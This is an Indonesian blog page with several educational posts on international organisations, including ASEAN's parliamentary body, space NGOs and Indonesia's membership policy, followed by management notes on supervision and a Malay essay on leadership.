Latest Post

Organisasi Antar-Parlemen ASEAN

| Senin, 12 April 2010
Baca selengkapnya »
  Organisasi Antar-Parlemen ASEAN (bahasa Inggris: ASEAN Inter-Parliamentary Organization disingkat AIPO pertama kali diusulkan oleh Dewan Perwakilan Rakyat Indonesia pada 1974 dan secara resmi didirikan pada 1977 oleh parlemen Indonesia, Malaysia, Filipina, Singapura dan Thailand. Badan ini didirikan dengan tujuan untuk meningkatkan kerjasama kerjasama antara parlemen negara-negara ASEAN.
AIPO sekarang beranggotakan:
Sumber dari Wikipedia

Organisasi Antar-Parlemen ASEAN

Posted by : Unknown on :Senin, 12 April 2010 With 0komentar

Peranan Organisasi Internasional Non-Pemerintah dalam Memajukan Kegiatan Keantaraiksaan (Termasuk Bidang Persatelitan)

|
Baca selengkapnya »

Pengantar

   Bagi ASSI sebagai suatu organisasi non-pemerintah yang relatif baru, maka dalam upaya untuk mengembangkan, memperkenalkannya (baik dalam lingkup nasional maupun internasional) dipandang perlu untuk memeliki pengetahuan dan pemahaman akan keberadaan organisasi-organisasi internasional di bidang keantariksaan. Pengetahuan dan pemahaman tersebut akan bermanfaat dalam rangka merintis upaya menjalin kerjasama dengan organisasi-organisasi internasional tersebut, di samping untuk mengembangkan pola organisasi serta jati dirinya yang dianggap paling tepat. Dengan demikian diharapkan ASSI nantinya mampu mengembangkan dirinya sebagai organisasi yang berskala internasional dan senantiasa “up-to-date”.
 Sebagaimana diketahui Organisasi Internasional di bidang keantariksaan secara garis besarnya terdiri dari Organisasi Internasional Antara Pemerintah (Inter-Governmental Organization/IGO) yang dibentuk oleh suatu perjanjian internasional antar pemerintah dan Organisasi Internasional Non-Pemerintah (Non-Government Organization/NGO) yang dibentuk oleh individu atau institusi non-pemerintah. Sesuai dengan kedudukan ASSI sebagai NGO, maka titik berat pembahasan pada tulisan ini adalah pada Organisasi Internasional Non Pemerintah (NGO).
  Di antara sekian banyak NGO Internasional di bidang keantariksaan, kiranya patut untuk ditelaah beberapa NGO Internasional yang relevan dan menonjol, yaitu Internasional Astronautical Federation/IAF (beserta “associatenya” yaitu International Academy of Astronautics/IAA dan International Institute of Space Law/IISL), Committe on Space Research (COSPAR), International Caouncil for Scientific Union (ICSU), International Law Association (ILA) dll.

The International Astronautical Federation (IAF)

   IAF merupakan NGOI yang didirikan pada tahun 1951. Keanggotaannya terdiri dari baik lembaga-lembaga pemerintah, kalangan industri, asosiasi profesi serta lembaga-lembaga pendidikan dan penelitian yang jumlahnya mencapai lebih dari seribu anggota.
Sejak berdiri IAF secara konsisten berupaya mendorong kemajuan ilmu pengetahuan dan teknologi antariksa beserta segenap aplikasinya bagi manfaat kemanusiaan. IAF juga memainkan peranan yang sangat penting dalam penyebarluasan informasi dan dalam mengembangkan jaringan kerjasama bagi para ahli keantariksaan secara internasional guna pengembangan dan pemanfaatan kegiatan kentariksaan.
IAF senantiasa mensponsori dan mengorganisir penyelenggaraan berbagai event internasional di bidang keantariksaan, baik berupa simposium, lokakarya, seminar, konggres dll. IAF juga menjalin kerjasama yang erat dengan PBB dalam menyelenggarakan lokakarya tahunan bagi negara-negara berkembang maupun seminar dalam bidang keantariksaan pada sidang-sidang yang diselenggarakan oleh PBB seperti UNISPACE. Bersama-sama NGOI di bidang keantariksaan seperti Commitee on Space Research (COSPAR) dan International Council for Scientific Union (ICSU) pada saat ini IAF sedang mempersiapkan Konggres Keantariksaan (World Space Conggres) yang ke II yang menurut rencana akan diselenggarakan di Houston, Texas pada tahun 2002.
  Setiap tahun IAF menyelenggarakan Konggres yang berkaitan dengan aspek-aspek tertentu dari riset dan rekayasa. Biasanya ditetapkan tema umum Konggres untuk tiap tahun sesuai dengan perkembangan aktualitas permasalahan yang dihadapi. Penyelenggaraan Konggres tahunan IAF tersebut didukung oleh 2 pilar IAF, yaitu International Academy of Astronautics (IAA) dan International Institute of Space Law (IISL). Dari sini terlihat bahwa pendekatan terhadap permasalahan keantariksaan bersifat inter-disipliner dan multidisipliner.
Mengingat keanggotaan IAF yang terdiri dari berbagai disiplin ilmu, maka dalam rangka persiapan penyelenggaraan simposium-simposium IAF tersebut dilakukan oleh berbagai Komite (Committees), yaitu :
  • Space Plans;
  • International Space Plans and Policies;
  • Return to the Moon;
  • Mars Exploration;
  • Small Satellite Programmes;
  • Life Sciences;
  • Space Activities and Society;
  • Arts and Literature;
  • Economics of Space Operations;
  • Interstellar Space Exploration;
  • Search for Extraterrestrial Intelligence (SETI);
  • Safety and Rescue Studies;
  • History of Astronautics;
  • Scientific-Legal Liasison.
   Pada tahun ini IAF menyelenggarakan Konggresnya yang ke 51 yang akan berlangsung di Rio de Jeneiro, Brasil dari tanggal 2-6 Oktober, 2000. Konggres ini bertemakan “Space: A Tool for the Environment and Development”. Dalam Konggres akan diselenggarakan beragam simposium yang mencakup, antara lain:
Astrodynamics, Earth Observation, Space and Natural Disaster, Life Sciences, Materials and Structures, Microgravity Science and Processes, Satellite Communication, Space and Education, Space Exploration, Space Transportation, Space Propulsion, Space Systems, dan lain-lain.
  Sementara itu pada Konggres yang sama International Academy of Astronautics akan menyelenggarakan simposium-simposium dengan topik-topik seperti: Economics and Commercialization, History of Astronautics, EVA and Space Suit, Small Satellite Mission, dan lain-lain. Pada Konggres yang sama International Institute of Space Law (IISL) juga menyelenggarakan Collogium on the Law of Outer Space yang ke 43 yang meliputi:
  • Law and Ethics of Space Activities in the New Millenium;
  • State Responsibility and Liability for Non-Government Space Activities;
  • The Interrelation between Public International Law and Private International Law in the Regulation of Space Activities;
  • Other Legal Matters, including Recent Developments in the Regulation of Space Debris, The Exploitation of Non-Terrestrial Resources, and the Implications of Proposed Missile Defence System.
   ILA sebelumnya bernama The Association for the Reform and Codification of the Laws of Nations yang didirikan di Brussel pada tahun 1873. Pada Konperensinya di Brussel tahun 1895 namanya diubah menjadi ILA. Keanggotaan ILA tidak hanya bagi lawyers, tetapi berbagai kalangan yang bergerak di bidang perdagangan dan industri. Setiap 2 tahun sekali ILA menyelenggarakan konperensi, di mana dalam pertemuan tersebut hasil kerjanya dipresentasikan kepada para anggotanya.
Dari beberapa Komite yang dibentuk oleh ILA terdapat “Space Law Committe”. Sejauh ini komite tersebut telah berhasil merumuskan beberapa draft resolusi dan instrumen hukum yang berkaitan dengan aspek-aspek hukum yang penting di bidang kegiatan keantariksaan. Beberapa hasil penting yang dihasilkan oleh Komite ini yang dapat dicatat mencakup beberapa studi serta rumusan draft legal principles dalam berbagai topik, antara lain:
  • The Settlement of Space Law Disputes;
  • Elaboration of Principles and Guidelines on Debris and Pollution Arising from Space Activities;
  • Enviromental Implications and Responsibility Arising from the Use of Outer Space;
  • Legal Implications of the Application of Direct Broadcasting;
  • Rules of Liability for Injury or Loss caused by the Operation of Space Vehicles;
  • Remote Sensing by Satellites;
  • The Conflicts in the Interpretation of the Leading Principles on the Moon Treaty;
  • Etc.

The International Council of Scientific Unions (ICSU)

   ICSU didirikan pada tahun 1931 sebagai pengganti dari organisasi pendahulunya yaitu The International Research Council (yang didirikan tahun 1919). Pendiriannya dimaksudkan untuk dapat berperan menjadi suatu lembaga sentral (a central body) dari masyarakat ilmiah dunia guna menangani permasalahan-permasalahan yang berkaitan dengan kepentingan bersama umat manusia dan guna mendorong kerjasama ilmiah internasional.
Keanggotaan ICSU terdiri dari 2 kategori :
  • International Scientific Unions; and
  • Academies and Research Councils.
  Keanggotaan Scientific Union didasarkan atas cabang-cabang keilmuan yang ada yang mencakup 29 cabang keilmuan, antara lain; astronomy, geodesy and geophysics, radio science, gegraphy, crystallography dll. Sementara keanggotaan dari Academies and Research Councils terdiri dari lembaga-lembaga riset nasional atau lembaga yang setara yang pada saat ini terdiri 68 lembaga riset nasional dan 7 associates serta 29 scientific affiliates.

The Committee on Space Research (COSPAR)

   COSPAR didirikan oleh the International Council of Scientific Unions (ICSU) pada tahun 1958. COSPAR merupakan komite ilmiah yang bersifat interdisipliner yang mempunyai perhatian terhadap masalah riset ilmiah serta kemajuan riset ilmiah yang menjadi sumber bagi perkembangan teknologi antariksa. Bagian terpenting dari kegiatan COSPAR dilakukan oleh Interdisciplinary COSPAR senantiasa berkolaborasi baik dengan lembaga-lembaga riset nasional maupun dengan NGOI lainnya seperti IAF dan IAA.

Organisasi Internasional

|
Baca selengkapnya »
      Kebijakan umum Pemri pada organisasi-organisasi internasional didasarkan pada Peraturan Presiden No. 7 tahun 2005 tentang Rencana Pembangunan Jangka Menengah (RPJM) Tahun 2004-2009, Bab 8 tentang Pemantapan Politik Luar Negeri dan Peningkatan Kerjasama Internasional. Melalui penetapan RJPM, Pemerintah berusaha meningkatkan peranan Indonesia dalam hubungan internasional dan dalam menciptakan perdamaian dunia serta mendorong terciptanya tatanan dan kerjasama ekonomi regional dan internasional yang lebih baik dalam mendukung pembangunan nasional.
 
    Prioritas politik luar negeri Indonesia dalam 5 tahun ke depan dituangkan dalam 3 program utama yaitu program pemantapan politik luar negeri dan optimalisasi diplomasi Indonesia, program peningkatan kerjasama internasional yang bertujuan untuk memanfaatkan secara optimal berbagai potensi positif yang ada pada forum-forum kerjasama internasional dan program penegasan komitmen terhadap perdamaian dunia.
 
    Sesuai dengan Keppres No. 64 tahun 1999, keanggotaan Indonesia pada organisasi internasional diamanatkan untuk memperoleh manfaat yang maksimal bagi kepentingan nasional, didasarkan pada peraturan perundangan yang berlaku dan memperhatikan efisiensi penggunaan anggaran dan kemampuan keuangan negara.
 
    Keanggotaan Indonesia pada OI diharapkan dapat memberikan manfaat yaitu antara lain 
  • secara Politik : dapat mendukung proses demokratisasi, memperkokoh persatuan dan kesatuan, mendukung terciptanya kohesi sosial, meningkatkan pemahaman dan toleransi terhadap perbedaan, mendorong terwujudnya tata pemerintahan yang baik, mendorong pernghormatan, perlindungan dan pemajuan HAM di Indonesia;
  • secara ekonomi dan keuangan : mendorong pertumbuhan dan stabilitas ekonomi yang berkelanjutan,  meningkatkan daya saing, meningkatkan kemampuan iptek, meningkatkan kapasitas nasional dalam upaya pencapaian pembangunan nasional, mendorong peningkatan produktivitas nasional, mendatangkan bantuan teknis, grant dan bantuan lain yang tidak mengikat;
  • secara Sosial Budaya : menciptakan saling pengertian antar bangsa, meningkatkan derajat kesehatan, pendidikan, mendorong pelestarian budaya lokal dan nasional, mendorong upaya perlindungan dan hak-hak pekerja migran; menciptakan stabilitas nasional, regional dan internasional;
  • segi kemanusiaan : mengembangkan early warning system di wilayah rawan bencana, meningkatkan capacity building di bidang penanganan bencana, membantu proses rekonstruksi dan rehabilitasi daerah bencana; mewujudkan citra positif Indonesia di masyarakat internasional, dan mendorong pelestarian lingkungan hidup dan mendorong keterlibatan berbagai pihak dalam usaha-usaha pelestarian lingkungan hidup.
     Mengenai pengusulan Indonesia untuk menjadi anggota dari suatu Organisasi Internasional diatur dalam Keputusan Menteri Luar Negeri Republik Indonesia Nomor SK. 1042/PO/VIII/99/28/01 tentang Tata Cara Pengajuan Kembali Keanggotaan Indonesia serta Pembayaran Kontribusi Pemerintah Indonesia pada Organisasi-Organisasi Internasional.
 
    Menurut SK Menlu tersebut, dalam  hal suatu instansi bermaksud mengusulkan keanggotaan Indonesia pada organisasi internasional, usulan tersebut disampaikan secara tertulis kepada menteri Luar Negeri disertai dengan penjelasan mengenai dasar usulan serta hak dan kewajiban yang timbul dari keanggotaan itu. Pengusulan tersebut kemudian akan dibahas oleh Kelompok Kerja Pengkaji Keanggotaan Indonesia dan Kontribusi Pemerintah Indonesia pada Organisasi-Organisasi Internasional. Pembahasan mengenai usulan tersebut memperhatikan:
  1. Manfaat yang dapat diperoleh dari keanggotaan pada organisasi internasional yang bersangkutan;
  2. Kontribusi yang dibayar sebagaimana yang disepakati bersama dan diatur dalam ketentuan organisasi yang bersangkutan serta formula penghitungannya;
  3. Keanggotaan Indonesia pada suatu organisasi internasional yang emmpunyai lingkup dan kegiatan sejenis;
  4. Kemampuan keuangan negara dan kemampuan keuangan lembaga non pemerintah. 

Daftar Kerjasama Organisasi Internasional  

    1. FAO 

    2. PBB-DEWAN HAM

    3. UNCTAD

    4. UNIDO

    5. WTO

Dewan Ekonomi dan Sosial Perserikatan Bangsa-Bangsa

Dewan Ekonomi dan Sosial ini terdiri atas 18 anggota dengan hak yang sama selama 3 tahun. Tugas Dewan Ekonomi dan Sosial :
  • Mengadakan penyelidikan dan menyusun laporan tentang soal-soal ekonomi, sosial, pendidikan, dan kesehatan di seluruh dunia
  • Membuat rencana perjanjian tentang soal tersebut dengan negara-negara anggota untuk diajukan kepada Majelis Umum
  • Mengadakan pertemuan-pertemuan internasional tentang hal-hal yang termasuk tugas dan wewenangnya
Dalam menjalankan tugasnya, Dewan Ekonomi dan Sosial ini dibantu oleh badan-badan khusus seperti :
• FAO (Food and Agriculture Organisation)
Organisasi Pangan dan Pertanian
• WHO (World Health Organisation)
Organisasi Kesehatan Sedunia
• ILO (International Labour Organisation)
Organisasi Buruh Internasional
• IMF (International Monetary Fund)
Dana Moneter Internasional
• IAEA (International Atomic Energi Agency)
Badan Tenaga Atom Internasional
• IBRD (International Bank for Reconstrustion and Development)
Bank Internasional untuk Pembangunan dan Rekonstruksi
• UPU (Universal Postal Union)
Perhimpunan Pos Sedunia
• ITU (International Telecommunication Union)
Persatuan Telekomunikasi Internasional
• UNHCR (United Nation High Commissioner for Refugees)
Organisasi PBB yang mengurus para pengungsi
• UNESCO (United Nations Educational, Scientific and Cultuural Organisation)
Organisasi PBB untuk Pendidikan, Ilmu Pengetahuan, dan Kebudayaan
• UNICEF (United Nations Children Fund)
Badan PBB yang mengurusi anak-anak
• GATT

Organisasi Internasional

Posted by : Unknown on : With 0komentar

Tugas Manajemen

| Rabu, 06 Januari 2010
Baca selengkapnya »
PENGAWASAN (CONTROLING)
Devinisi pengawasan:
Menurut Robert J. Mockler pengawasan yaitu usaha sistematik menetapkan standar pelaksanaan dengan tujuan perencanaan, merancang sistem informasi umpan balik, membandingkan kegiatan nyata dengan standar, menentukan dan mengukur deviasi-deviasai dan mengambil tindakan koreksi yang menjamin bahwa semua sumber daya yang dimiliki telah dipergunakan dengan efektif dan efisien.
Pengendalian / Pengawasan adalah proses mengarahkan seperangkat variable / unsure ( manusia, peralatan, mesin, organisasi ) kearah tercapainya suatu tujuan atau sasaran manajemen.
Pengendalian dan pengawasan diperlukan untuk mengetahui apakah pelaksanaan suatu kegiatan dalam organisasi sesuai dengan rencana dan tujuan yang telah digariskan atau ditetapkan.
Pengawasan (controlling) merupakan fungsi manajemen yang tidak kalah pentingnya dalam suatu organisasi. Semua fungsi terdahulu, tidak akan efektif tanpa disertai fungsi pengawasan. Dalam hal ini, Louis E. Boone dan David L. Kurtz (1984) memberikan rumusan tentang pengawasan sebagai : “… the process by which manager determine wether actual operation are consistent with plans”. Dengan demikian, pengawasan merupakan suatu kegiatan yang berusaha untuk mengendalikan agar pelaksanaan dapat berjalan sesuai dengan rencana dan memastikan apakah tujuan organisasi tercapai. Apabila terjadi penyimpangan di mana letak penyimpangan itu dan bagaimana pula tindakan yang diperlukan untuk mengatasinya. Selanjutnya dikemukakan pula oleh T. Hani Handoko bahwa proses pengawasan memiliki lima tahapan, yaitu :

(a) penetapan standar pelaksanaan
(b) penentuan pengukuran pelaksanaan kegiatan;
(c) pengukuran pelaksanaan kegiatan nyata;
(d)pembandingan pelaksanaan kegiatan dengan standar dan penganalisaan penyimpangan-penyimpangan
(e) pengambilan tindakan koreksi, bila diperlukan.
Fungsi-fungsi manajemen ini berjalan saling berinteraksi dan saling kait mengkait antara satu dengan lainnya, sehingga menghasilkan apa yang disebut dengan proses manajemen. Dengan demikian, proses manajemen sebenarnya merupakan proses interaksi antara berbagai fungsi manajemen. 

Fungsi Pengawasan:
Yaitu suatu proses untuk menetapkan pekerjaan yang sudah dilakukan, menilai dan mengoreksi agar pelaksanaan pekerjaan itu sesuai dengan rencana semula.


TAHAPAN-TAHAPAN PROSES PENGAWASAN
1. Tahap Penetapan Standar
Tujuannya adalah sebagai sasaran, kuota, dan target pelaksanaan kegiatan yang digunakan sebagai patokan dalam pengambilan keputusan. Bentuk standar yang umum yaitu :
a. standar phisik
b. standar moneter
c. standar waktu
2. Tahap Penentuan Pengukuran Pelaksanaan Kegiatan Digunakan sebagai dasar atas pelaksanaan kegiatan yang dilakukan secara tepat
3. Tahap Pengukuran Pelaksanaan Kegiatan
Beberapa proses yang berulang-ulang dan kontinue, yang berupa atas, pengamatan laporan, metode, pengujian, dan sampel.

4. Tahap Pembandingan Pelaksanaan dengan Standar dan Analisa Penyimpangan
Digunakan untuk mengetahui penyebab terjadinya penyimpangan dan menganalisanya mengapa bisa terjadi demikian, juga digunakan sebagai alat pengambilan keputusan bagai manajer.
5. Tahap Pengambilan Tindakan Koreksi
Bila diketahui dalam pelaksanaannya terjadi penyimpangan, dimana perlu ada perbaikan dalam pelaksanaan.  


BENTUK-BENTUK PENGAWASAN
1. Pengawasan Pendahulu (feeforward control, steering controls)
Dirancang untuk mengantisipasi penyimpangan standar dan memungkinkan koreksi

dibuat sebelum kegiatan terselesaikan. Pengawasan ini akan efektif bila manajer dapat menemukan informasi yang akurat dan tepat waktu tentang perubahan yang terjadi atau perkembangan tujuan.
2. Pengawasan Concurrent (concurrent control)
Yaitu pengawasan “Ya-Tidak”, dimana suatu aspek dari prosedur harus memenuhi

syarat yang ditentukan sebelum kegiatan dilakukan guna menjamin ketepatan pelaksanaan kegiatan.
3. Pengawasan Umpan Balik (feedback control, past-action controls)
Yaitu mengukur hasil suatu kegiatan yang telah dilaksanakan, guna mengukur

penyimpangan yang mungkin terjadi atau tidak sesuai dengan standar.

METODE-METODE PENGAWASAN
Metode-metode pengawasan bisa dikelompokkan ke dalam dua bagian; pengawasan non-kuantitatif dan pengawasan kuantitatif
a. Pengawasan Non-kuantitatif
Pengawasan non-kuantitatif tidak melibatkan angka-angka dan dapat digunakan untuk mengawasi prestasi organisasi secara keseluruhan. Teknik-teknik yang sering digunakan adalah:

1) Pengamatan (pengendalian dengan observasi). Pengamatan ditujukan untuk
mengendalikan kegiatan atau produk yang dapat diobservasi.
2) Inspeksi teratur dan langsung. Inspeksi teratur dilakukan secara periodic dengan
mengamati kegiatan atau produk yang dapat diobservasi.
3) Laporan lisan dan tertulis. Laporan lisan dan tertulis dapat menyajikan informasi yang dibutuhkan dengan cepat disertai dengan feed-back dari bawahan dengan relatif lebih cepat.
4) Evaluasi pelaksanaan.
5) Diskusi antara manajer dengan bawahan tentang pelaksanaan suatu kegiatan.Cara ini dapat menjadi alat pengendalian karena masalah yang mungkin ada dapat didiagnosis dan dipecahkan bersama.
6) Management by Exception (MBE). Dilakukan dengan memperhatikan perbedaan yang signifikan antara rencana dan realisasi. Teknik tersebut didasarkan pada prinsip

pengecualian. Prinsip tersebut mengatakan bahwa bawahan mengerjakan semua
kegiatan rutin, sementara manajer hanya mengerjakan kegiatan tidak rutin.[13]
b. Pengawasan Kuantitatif
Pengawasan kuantitatif melibatkan angka-angka untuk menilai suatu prestasi. Beberapa teknik yang dapat dipakai dalam pengawasan kuantitatif adalah:
1) Anggaran

- anggaran operasi, anggaran pembelanjaan modal, anggaran penjualan, anggaran kas
- anggaran khusus, seperti planning programming, bud getting system (PBS), zero-base budgeting ( ZBB ), dan human resource accounting ( HRA )
2) Audit

- Internal Audit
Tujuan : membantu semua anggota manajemen dalam melaksanakan tanggung jawab mereka dengan cara mengajukan analisis, penilaian, rekomendasi dan komentar mengenai kegiatan mereka.
- Ekternal Audit
Tujuan : menetukan apakah laporan keuangan tersebut menyajikan secara wajar

keadaan keuangan dan hasil perusahaan, pemeriksaan dilakasanakan oleh pihak yang bebas dari pengaruh manajemen.
3) Analisis break-even

Menganalisa dan menggambarkan hubungan biaya dan penghasilan untuk menentukan pada volume berapa agar biaya total sehingga tidak mengalami laba atau rugi.
4) Analisis rasio
Menyankut dua jenis perbandingan
1. Membandingkan rasia saat ini dengan rasia-rasia dimasa lalu
2. Membandingkan rasia-rasia suatu perusahaan dengan perusahaan lain yang sejenis
5) Bagian dari Teknik yang berhubungan dengan waktu pelaksanaan kegiatan, seperti :
1. Bagan Ganti
Bagan yang mempunyai keluaran disatu sumbu dan satuan waktu disumbu yang lain

serta menunjukan kegiatan yang direncanakan dan kegiatan yang telah diselesaikan
dalam hubungan antar setiap kegiatan dan dalam hubunganya dengan waktu.
2. Program Evaluation and Reviw Technique (PERT)
Dirancang untuk melakukan scheduling dan pengawasan proyek – proyek yang

bersifat kompleks dan yang memerlukan kegiatan – kegiatan tertentu yang harus
dijalankan dalam urutan tertentu dan dibatasi oleh waktu.

Syarat-syarat untuk menjalankan pengawasan yang baik, yakni :
1. Pengawasan harus mendukung sifat dan kebutuhan kegiatan.
2. Pengawasan harus melaporkan setiap penyimpangan yang terjadi dengan segera.
3. Pengawasan harus mempunyai pandangan ke depan.
4. Pengawasan harus obyektif,teliti,dan sesuai dengan standard yang digunakan.
5. Pengawasan harus luwes atau fleksibel.
6. Pengawasan harus serasi dengan pola organisasi.
7. Pengawasan harus ekonomis.
8. Pengawasan harus mudah dimengerti.
9. Pengawasan harus diikuti dengan perbaikan atau koreksi. 
Agar pengawasan dapat dilaksanakan dengan baik,
maka pengawasan harus: 

  • Ekonomi
  • Mudah dimengerti 
  • Adanya tindakan koreksi
  • Melaporkan penyimpangan yang mungkin terjadi
tujuan dilaksanakan pengawasan adalaha: 
a. untuk menjadikan pelaksanaan dan hasil kegiatan sesuai dengan rencana dan tujuan.
b. Untuk memecahkan masalah
c. Untuk mengurangui resiko kegagalan suatu rencana
d. Untuk membuat perubahan – perubahan maupun perbaikan – perbaikan.
e. Untuk mengetahui kelemahan – kelemahan pelaksaannya


PELAKU ATAU PELAKSANA PENGAWASAN DAN PENGENDALIAN :
Pengawasan dan Pengendalian dilakuakan oleh :
a. Pihak manajemen pada masing – masing fungsi organisasi.
b. Pihak luar manajemen ( Auditor )


Jenis-Jenis Pengawasan
Jenis-jenis pengawasan dapat ditinjau dari 3 segi
a. Waktu
b. Obyek
c. Subyek


a. Pengawasan dari segi waktu
Pengawasan dari segi waktu dapat dilakukan secara preventif dan secara reprensif. Alat

yang dipakai dalam pengawasan ialah perencanaan budget, sedangkan pengawasan
secara repensif alat budget dan laporan.
b. Pengawasan dilihat dari segi obyektif
Pengawasan dari segi obyektif ialah pengawasan terhadap produksi dan sebagainya.

Ada juga yang mengatakan karyawan daru segi obyek merupakan pengawasan secara administratif dan pengawasa operatif. Contoh pengawasan administratif ialah pengawasan anggaran, inspeksi, pengawasan order dan pengawasan kebijaksanaan.
c. Pengawasan dari segi subyek
Pengawasan dari segi subyek terdiri dari pengawasan intern dan pengawasan ekstern.



Pengawasan Intern
Pengawasan intern dalam perusahaan biasanya dilakukan oleh bagian pengawasan perusahaan (internal auditor). Laporan tertulis dari bawahan kepada atasan pada umumnya terdiri dari :
a. Laporan harian
b. Laporan mingguan
c. Laporan Bulanan
d. Laporan khusus
e. Laporan harian


Pengawasan Ekstern
Pengawasan ekstren dilakukan oleh akuntan publict (certified public accountant). publikasi laporan neraca dan rugi laba yang menyebabkan jalannya perusahaan wajibdi periksa oleh akuntan publik. Adapun pemeriksaan yang umum dilakukan oleh akuntan publik dapat dibagi jadi 4 golongan


a. Pemeriksaan umum
Pemeriksaan umum atau general audit adalah pemeriksaan rutin tentang kebenaran

data administrasi perusahaan.
b. Pemeriksaan khusus
Pemeriksaan khusus atau spesical anfestigation adalah suatu pemeriksaan khusus yang ditugaskan kepada akuntan public.
c. Pemeriksaan Neraca
Pemeriksaan neraca dikenal juga drngan balance sheet audit artinya suatu pemeriksaan khusus terhadap neraca perusahaan.
d. Pemeriksaan sempurna Suatu pemeriksaan semputna (detail audit) berhubungan erat dengan pemeriksaan khusus.


Perancangan Proses Pengawasan
William H. Newman menetapkan prosedur sistem pengawasan, dimana dikemukakan lima jenis pendekatan, yaitu :


1. Merumuskan hasil diinginkan, yang dihubungkan dengan individu yang melaksanakan.
2. Menetapkan petunjuk, dengan tujuan untuk mengatasi dan memperbaiki

penyimpangan sebelum kegiatan diselesaikan, yaitu dengan :
a. pengukuran input
b. hasil pada tahap awal
c. gejala yang dihadapi
d. kondisi perubahan yang diasumsikan
3. Menetapkan standar petunjuk dan hasil, dihubungkan dengan kondisi yang dihadapi.
4. Menetapkan jaringan informasi dan umpan balik, dimana komunikasi pengawasan

didasarkan pada prinsip manajemen by exception yaitu atasan diberi informasi bila
terjadi penyimpangan dari standar.
5. Menilai informasi dan mengambil tindakan koreksi, bila perlu suatu tindakan diganti.


Kepemimpinan
Pemimpin merupakan individu yang boleh memberi pengaruh kepada individu yang lain di dalam suatu pertubuhan. Sesuatu yang menarik dalam kepemimpina adalah kewujudan pemimpin yang berada dalam organisasi yang mempunyai struktur yang tersendiri dengan mewujudkan hubungan pemimpin dan pengikut bagi mencapai kecemerlangan. Pencapaian yang cemerlang di dalam sesuatu organisasi memerlukan langkah-langkah atau aktiviti-aktiviti yang di rancang oleh pemimpin bagi mendorong pengikutnya meningkat tekat dan keazaman ke arah kecemerlangan organisasi tersebut. Oleh itu, usaha ke arah penyatuan aktiviti sesebuah organisasi bergantung besar kepada kepintaran seseorang pemimpin. Sebagai contoh, seseorang yang membawa beg plastik semasa berkunjung ke pasar terpaksa membimbit dengan bijak agar tidak ada satu barang pun yang dibeli tercicir, beg plastik seperti suatu organisasi ataupun pekerja-pekerja di bawah pangawasan seorang pemimpin.
Kemahiran memimpin merupakan sesuatu yang boleh di pertingkatkan dari masa ke masa.Kemahiran bekerjasama amat di tekankan di dalam sesebuah organisasi bagi mencapai kecemerlangan.Sebagai seorang pemimpin, mungkin mereka mampu memberi arahan kepada orang lain tetapi adakah pengarahan ini di patuhi oleh orang yang menerima arahan.Di dalam masyarakan negara ini terutama masyarakat melayu, konsep malu alah boleh di gunakan untuk mendapatkan kerjasama daripada pekerjanya.Apabila di berikan perhatian yang sewajarnya kepada mereka , mereka akan berasa silu untuk tidak patuh kepada arahan begitu juga dengan pemimpni,mereka akan berasa berat untuk tidak memberi kerjasama apabila telah di perlakukan baik kepadanya.Oleh yang demikian, seseorang pemimpin perlulah mewujudkan sikap bekerjasama dengan pekerja di dalam suatu organisasi bagi mencapai kecemerlangan.
Selain itu, kemahiran melihat masa hadapan juga perlu kepada seseorang pemimpin dalam memainkan peranan utama bagi mencapai kejayaan sesebuah organisasi ke arah kecemerlangan.Pemimpin biasanya akan lebih selesa dengan suasana yang sedia ada tetapi sesuatu yang baru tidak akan wujud sekiranya seseorang pemimpin itu gagal melihat masa hadapan.Kemahiran inilah yang membezakan antara pemimpin yang berjaya atau tidak.Dengan melihat masa hadapan,pemimpin dapat meletakkan harapan yang mungkin hanya akan berlaku selepas beliau tiada lagi tetapi laluan ke arah itu dilakukan semasa beliau memimpin organisasi tersebut.Keadaan ini dapat disaksikan bagaimana Allahyarham Mat Saman telah membina tali air di Kedah.Pendek kata,pemimpin perlu mempunyai keupayaan mendahului zamannya,caranya ialah dengan mempertajamkan kemahiran melihat masa hadapan.
Dalam menjayakan sesebuah organisasi ke arah kecemerlangan, seseorang pemimpin itu juga mestilah berpengetahuan. Daripada pengetahuanlah himpunan ilmu akan terikat untuk dipindahkan kepada pekerja-pekerja.Sebagai contoh,seseorang perlulah mengetahui tentang teknologi kerana ia merupakan sesuatu yang penting.Ramai yang beranggapan apabila kita membicarakan tentang teknologi,kita akan merujuk kepada teknologi semata-mata tetapi seseorang pemimpin perlu mempunyai pengetahuan tentang teknologi dalam erti kata beliau memiliki teknologi yang boleh membantu didalam mempercepatkan kerja dan memberi keberkesanan terhadap kerja didalam organisasinya.Dari sinilah beliau akan di tanggapi sebagai pemimpin yang berkebolehan dalam melakukan kerja-kerja yang biasanya memakan masa yang lama berbanding dengan pengurus-pengurus yang lain.Oleh yang demikian,apabila seseorang pemimpin mempunyai pengetahuan , beliau boleh menghayati sesuatu kerja dengan penuh penjelasan tentang perilaku melakukannya bukan semata-mata mampu melakukan kerja-kerja konpleks untuk pekerja-pekerja melakukannya.
Selain itu,untuk merealisasikan kecemerlangan di dalam sesuatu organisasi,seseorang pemimpin itu perlu memberi dorongan kepada pekerjanya. Dalam konteks ini,dorongan merupakan usaha untuk memupuk pekerja melakukan kerja dengan cara terbaik.Gelagat yang ada pada pekerja boleh di kesan dan di kenalpasti oleh pemimpin dan dari situlah dorongan perlu di serap ke dalam sanubari mereka.Sebagai contoh,beberapa model yang di kemukakan oleh Abraham H Maslow iaitu seorang sarjana barat boleh di sesuaikan dengan kerangka penerapan dorongan kepada pekerja mengikut keadaan,masa dan suasana. Tingkat kehendak Maslow meletakkan manusia sebagai makluk yang mempunyai peringkat tertentu dan ia di mulakan dari peringkat fisiologi, jaminan, gangguan, penghormatan dan peringkat tertinggi adalah pencapaian hasrat hati.Oleh demikian,model tingkat kehendak Maslow boleh digunakan dengan baik untuk tujuan memberi dorongan kepada pekerja.Dari struktur kehendak ini biasanya pekerja akan cuba memenuhi kehendak terbawah dahulu dan naik setingkat demi setingkat bagi merealisasikan kecemerlangan organisasi tersebut.
